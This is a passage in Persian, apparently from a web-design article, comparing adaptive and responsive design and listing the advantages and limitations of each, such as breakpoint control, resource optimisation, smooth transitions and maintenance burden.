صفحه‌بندی با استفاده از واحدهای نسبی مانند درصد، em/rem، یا vw/vh ساخته می‌شود.

🔹 گذارهای روان:
المان‌ها به‌صورت خودکار با تغییر عرض مرورگر تغییر اندازه می‌دهند و جابه‌جا می‌شوند، بدون نیاز به پرش یا تغییر ناگهانی طرح.

🔹 کد یکپارچه:
یک مجموعه واحد از قوانین CSS برای تمامی دستگاه‌ها کافی است، و media query‌ها صرفاً برای تنظیم جزئیات و تفاوت‌های ظریف استفاده می‌شوند.

### مزایا و معایب

---

### طراحی تطبیقی (Adaptive Design)

#### مزایا:

* کنترل دقیق بر هر طرح:
برای هر وضوح صفحه، می‌توان طراحی ویژه و کاملاً کنترل‌شده‌ای ارائه داد.

* بهینه‌سازی منابع:
در نسخه‌های موبایلی، تصاویر سبک‌تر و فونت‌های کم‌حجم‌تر استفاده می‌شود که باعث کاهش حجم و افزایش سرعت بارگذاری می‌گردد.

* تجربه کاربری دقیق در نقاط کلیدی:
در نقاط توقف تعریف‌شده، تجربه کاربری دقیق و از پیش طراحی‌شده‌ای فراهم می‌شود.

#### محدودیت‌ها:

* ناهمخوانی بین نقاط توقف:
ممکن است در فاصله بین breakpoints، تغییرات ناهموار یا ظاهر نامنظمی دیده شود.

* نیاز به نگهداری چندین طرح و منبع:
برای هر وضوح باید نسخه‌ای جداگانه از طراحی، تصاویر و فایل‌های CSS مدیریت شود.

* پشتیبانی ضعیف از وضوح‌های جدید:
در صورت اضافه‌شدن دستگاه‌های با ابعاد جدید، ممکن است آن‌ها در هیچ‌کدام از breakpoints موجود قرار نگیرند.

---

### طراحی واکنش‌گرا (Responsive Design)

#### مزایا:

* گذارهای روان در تمامی عرض‌ها:
بدون پرش یا تغییر ناگهانی، اجزا به‌صورت نرم و تدریجی با تغییر عرض تطبیق پیدا می‌کنند.

* کد CSS یکپارچه و تکرار کمتر:
با استفاده از یک مجموعه قوانین واحد، می‌توان برای همه دستگاه‌ها طراحی کرد و از افزونگی جلوگیری نمود.

* تطبیق خودکار با دستگاه‌های جدید:
بدون نیاز به طراحی مجدد، طرح موجود به‌صورت پویا با دستگاه‌های جدید هم‌ساز می‌شود.

#### محدودیت‌ها:

* سختی در تنظیم دقیق رابط‌های پیچیده:
تنظیم جزئیات دقیق و رفتار المان‌ها در تمام عرض‌های ممکن، به‌ویژه برای رابط‌های پیچیده، دشوار است.

* احتمال کاهش خوانایی در محتوای زیاد:
در صفحات پرمحتوا، تطبیق خودکار ممکن است باعث به‌هم‌ریختگی و افت کیفیت خوانایی شود.

* محاسبات بیشتر و تأثیر بر عملکرد:
تغییرات پویا ممکن است فشار بیشتری به مرورگر وارد کرده و عملکرد کلی را کاهش دهد.
1